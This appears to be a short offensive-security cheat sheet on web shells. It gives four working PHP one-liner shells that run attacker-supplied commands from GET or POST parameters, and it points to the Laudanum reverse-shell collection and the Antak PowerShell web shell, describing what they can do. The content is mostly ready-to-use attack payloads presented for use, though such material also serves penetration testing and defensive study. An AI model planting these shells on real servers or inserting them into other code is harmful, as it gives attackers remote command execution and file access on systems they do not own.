Web Shells
PHP
<?php system($_GET["cmd"]);?> # GET
<?=`$_GET[0]`?> # GET
<?=`$_POST[0]`?> # POST
<?=`{$_REQUEST['_']}`?> # GET/POST
Laudanum
The Laudanum repo includes injectable reverse shell files that support ASP, ASPX, JSP, and PHP.
https://github.com/jbarcia/Web-Shells/tree/master/laudanum
Antak
Antak is a web shell written in ASP.NET that leverages PowerShell, included in the Nishang framework. It acts like a PowerShell console, with each command run in a new process. You can execute scripts by pasting them into the command box and clicking "Encode and Execute." It also supports PowerShell one-liners for remote script execution. File upload/download is supported via path input and respective buttons.
https://github.com/samratashok/nishang/tree/master/Antak-WebShell